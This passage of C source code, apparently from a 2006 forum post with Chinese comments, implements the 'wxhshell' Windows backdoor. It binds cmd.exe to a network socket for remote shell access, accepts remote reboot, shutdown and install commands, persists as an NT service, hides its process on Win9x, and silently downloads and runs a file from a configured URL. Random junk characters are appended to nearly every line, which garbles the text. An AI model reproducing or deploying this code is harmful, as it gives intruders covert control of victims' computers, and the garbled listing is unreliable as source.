  else { |3s&Y`x-D  
k4$q|x7+%  
    switch(cmd[0]) { KY`96~z  
  xN m32~  
  // 帮助 _0*>I1F~  
  case '?': { E.`d k.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {?mQqoZ?.  
    break; y<1$^Y1/)  
  } Z&w^9;30P  
  // 安装 kN j3!u$  
  case 'i': { V"H 7zx  
    if(Install()) NoO+xLHw8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S8OVG4-  
    else DjzUH{6O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )6Q0f  
    break; b'1d<sD  
    } , imvA5  
  // 卸载 n+qVT4o  
  case 'r': { & fSc{/  
    if(Uninstall()) E)O|16f|>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P"x-7>c>Y  
    else }#G"!/ZA0:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Hu2[lV  
    break; bjBeiKH  
    } )c*k _/ 4  
  // 显示 wxhshell 所在路径 5g1M_8e'+  
  case 'p': { K`,d$  
    char svExeFile[MAX_PATH]; kr(<Y|  
    strcpy(svExeFile,"\n\r"); X^D9)kel  
      strcat(svExeFile,ExeFile); +%Y c4  
        send(wsh,svExeFile,strlen(svExeFile),0); mp,e9Nd;  
    break; N+M&d3H`  
    } n<:d%&^n  
  // 重启 '95E;RV&  
  case 'b': { )6>|bmpU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a*':W%7  
    if(Boot(REBOOT)) uUz`=4%A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! F <] T  
    else { @ 9 { %Kn  
    closesocket(wsh); 2d2@J{  
    ExitThread(0); [9O~$! <%  
    } T5azYdzJy  
    break; QG|GXp_q`  
    } U>_IYT  
  // 关机 ],F}}pv  
  case 'd': { w2d]96*kQe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XU_,Z/Yw_  
    if(Boot(SHUTDOWN)) <.WM-Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zNny\Z  
    else { M7DLs;sD  
    closesocket(wsh); \$'m ^tVU  
    ExitThread(0); 7y)=#ZG'R  
    } *1W, M zg  
    break; tP`G]BCbt  
    } QM ZUt  
  // 获取shell '}Wu3X  
  case 's': { `(,*IK a  
    CmdShell(wsh); {@V3?pG?p  
    closesocket(wsh); }xb_s  
    ExitThread(0); z,bX.*.-  
    break; g. ?*F#2  
  } l+2cj?X  
  // 退出 30?LsYXL62  
  case 'x': { hDljY!P>p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9$+^"ilk  
    CloseIt(wsh); aZj J]~bO  
    break; }r}RRd  
    } *`ZB+ \*  
  // 离开 #*$_S@  
  case 'q': { {^cF(7p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vx!::V7s6  
    closesocket(wsh); WQ[}&kY~  
    WSACleanup(); +_X,uvR  
    exit(1); #Pu@Wx  
    break; A U)1vx(\w  
        } %{7_E*I@n  
  } F gWkcV6B  
  } 0+}EA[  
KQ4kZN  
  // 提示信息 Pr5g6I'G   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); " ^HK@$  
} ]$~Fzs  
  } _ktK+8*6`  
Tr8AG>  
  return; 2(m85/Hr\;  
} R CBf;$O  
: 8^M5}  
// shell模块句柄 _8Nw D_"  
int CmdShell(SOCKET sock) 1Xy8|OFc[  
{ RpO@pd m  
STARTUPINFO si; 7R9nMGJ@  
ZeroMemory(&si,sizeof(si)); 5: daa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YlswSQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XM6".eF)M  
PROCESS_INFORMATION ProcessInfo; <NG/i i=  
char cmdline[]="cmd"; x&C%4Y_]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6<x~Mk'u)  
  return 0; Xhcn]  
} 4$ Dt8!p0  
R_1)mPQ^P  
// 自身启动模式 ,VNi_.W0  
int StartFromService(void) D W/1 =3  
{ K8HIuQ!=  
typedef struct #l*a~^dhqC  
{ o84UFhm   
  DWORD ExitStatus; 3CR@' qG-  
  DWORD PebBaseAddress; ;,1=zhKU.  
  DWORD AffinityMask; lPM3}52Xu  
  DWORD BasePriority; D]IBB>F  
  ULONG UniqueProcessId; &5\^f?'b7  
  ULONG InheritedFromUniqueProcessId; 8Y2xW`  
}   PROCESS_BASIC_INFORMATION; l0gY~T/#3  
qWsylC23  
PROCNTQSIP NtQueryInformationProcess; >Z+"`"^o}  
Q [r j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i2){xg~c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zg V~W#t  
&v^!y=Bt  
  HANDLE             hProcess; bIgh@= 2  
  PROCESS_BASIC_INFORMATION pbi; P$Z}  
o#qH2)tb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CRH{E}>  
  if(NULL == hInst ) return 0; #6Jc}g< ?g  
t, U) ~wi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *GQDfs`m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KZ=u54  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &V'519vmoZ  
CuH2E>wz  
  if (!NtQueryInformationProcess) return 0; !fY7"E{%%  
pb!V|#u"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qgoJ4Z*  
  if(!hProcess) return 0; hd+]Ok7"  
l)4O .*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M!1U@6n!=)  
j'K38@M:MN  
  CloseHandle(hProcess); qn B<k,8T  
N]NF\7(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N XpmT4  
if(hProcess==NULL) return 0; 2 {bhA5L  
bS.s?a  
HMODULE hMod; 33Jd!orXU  
char procName[255]; JVtQ ,oZ  
unsigned long cbNeeded; =#qZ3 Qz_  
L!t@-5~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,CP 5~4u  
zh\p  
  CloseHandle(hProcess); :0$a.8Y\++  
tz26=8  
if(strstr(procName,"services")) return 1; // 以服务启动 _;56^1'T  
$ a?  
  return 0; // 注册表启动 e}'gvm  
} ohUdGO[/  
:ygWNK[ 6D  
// 主模块 >ys[I0bo  
int StartWxhshell(LPSTR lpCmdLine) x2co>.i  
{ 7BR8/4gcPu  
  SOCKET wsl; cHx%Nd\  
BOOL val=TRUE; JK]R*!{n  
  int port=0; h.)h@$d  
  struct sockaddr_in door; &(EHq  
9'?se5\  
  if(wscfg.ws_autoins) Install(); aSC9&Nf;  
)p<WDiX1!e  
port=atoi(lpCmdLine); y<pnp?x4  
c.A Yx I"  
if(port<=0) port=wscfg.ws_port; ~vHk&r]|  
F.tfgW(A@  
  WSADATA data; mpgO s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -(i(02PX  
k|xtrW`qo;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y34/+Fi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G O{ . 9_2  
  door.sin_family = AF_INET; *wuqa) q2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !*aPEf270  
  door.sin_port = htons(port); u:&o}[  
~e `Bq>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [U>@,BH  
closesocket(wsl); .Obn&S  
return 1; !M7<BD};  
} \\,f{?w  
n`ViTwd]MQ  
  if(listen(wsl,2) == INVALID_SOCKET) { :IMdN}(L  
closesocket(wsl); 1|{bDlmt  
return 1; "5C`,4s  
} ?-MP_9!JK  
  Wxhshell(wsl); *4S-z&,.c  
  WSACleanup(); qnM|w~G  
5!I4l1  
return 0; Q8D&tJg  
8'Z:ydj^,  
} ]0c+/ \b&  
|F[=b'?  
// 以NT服务方式启动 \(~wZd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !ErH~<f%K  
{ 6KHN&P  
DWORD   status = 0; R\mR$\cS  
  DWORD   specificError = 0xfffffff; .pPm~2]z  
R!(ZMRMn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >(r{7Qg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sa1h%<   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {D`'0Z1"  
  serviceStatus.dwWin32ExitCode     = 0; )w h%|  
  serviceStatus.dwServiceSpecificExitCode = 0; 0v)bA}k  
  serviceStatus.dwCheckPoint       = 0; %zBCq"y  
  serviceStatus.dwWaitHint       = 0;  Es5f*P0  
(xl\J/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +JRF0T  
  if (hServiceStatusHandle==0) return; +k\Uf*wh  
}|\d+V2On  
status = GetLastError(); /PzcvN  
  if (status!=NO_ERROR) 31WC=ur5  
{ :#5xA?=* S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oVvc?P  
    serviceStatus.dwCheckPoint       = 0; h.eM RdlO  
    serviceStatus.dwWaitHint       = 0; @L/o\pvc  
    serviceStatus.dwWin32ExitCode     = status; @I`C#~  
    serviceStatus.dwServiceSpecificExitCode = specificError; R=Zn -q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m2~&#c\  
    return; Wy .IcWK  
  } &;i "P  
Jzkq)]M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;5_{MCPM  
  serviceStatus.dwCheckPoint       = 0; m)v''`9LU  
  serviceStatus.dwWaitHint       = 0; "_|oWn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j.e0;! (L}  
} uo\ .7[1  
g.py+ ZFJ  
// 处理NT服务事件,比如:启动、停止 [XVEBA4GI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QaIjLc~W  
{ Fd]\txOXj  
switch(fdwControl) B* kcN lW  
{ P{OAV+cG  
case SERVICE_CONTROL_STOP: \u,}vpp z  
  serviceStatus.dwWin32ExitCode = 0; =Prb'8 W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; : _e#  
  serviceStatus.dwCheckPoint   = 0; Byl^?5  
  serviceStatus.dwWaitHint     = 0; ?BA]7M(,4  
  { 6W[}$#w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IW=cym7  
  } {n#k,b&9B  
  return; E>b2+;Jv  
case SERVICE_CONTROL_PAUSE: 9,uhf b^]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vj<:GRNQ,d  
  break; 2. G=8:l  
case SERVICE_CONTROL_CONTINUE: b-ll  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fmqb` %  
  break; KWAb-yB  
case SERVICE_CONTROL_INTERROGATE: 7ELMd{CD  
  break; C%d_@*82  
}; `Z: R Ce^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y3.$G1{#0w  
} X cr  =  
<8,o50`B  
// 标准应用程序主函数 ~h}Fi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I V%zO+  
{ SIO&rrT.  
>~%e$a7}+  
// 获取操作系统版本 +#U|skl  
OsIsNt=GetOsVer(); dr)YzOvba  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6+r$t#  
Zl 9aDg  
  // 从命令行安装 pl@O N"=[  
  if(strpbrk(lpCmdLine,"iI")) Install(); NBl+_/2'w  
)?+$x[f!*  
  // 下载执行文件 vgY3L  
if(wscfg.ws_downexe) { Z;9>S=w!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Lbe\@S   
  WinExec(wscfg.ws_filenam,SW_HIDE); &'cL%.  
} vEf4HZ&w  
\(226^|j  
if(!OsIsNt) { 8fA_p}wp  
// 如果时win9x,隐藏进程并且设置为注册表启动 GjoIm?  
HideProc(); #^m0aB7r  
StartWxhshell(lpCmdLine); =q N2Xg/  
} rpeJkG@+  
else 7Q\|=$2  
  if(StartFromService()) mc=LP>uoS  
  // 以服务方式启动 DPi_O{W>  
  StartServiceCtrlDispatcher(DispatchTable); 5T sUQc  
else J+rCxn?;g  
  // 普通方式启动 V5+SWXZ  
  StartWxhshell(lpCmdLine); "$s~SIUB  
m/#a0~dB  
return 0; mF` B#  
}
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只看该作者 1 发表于: 2006-10-10
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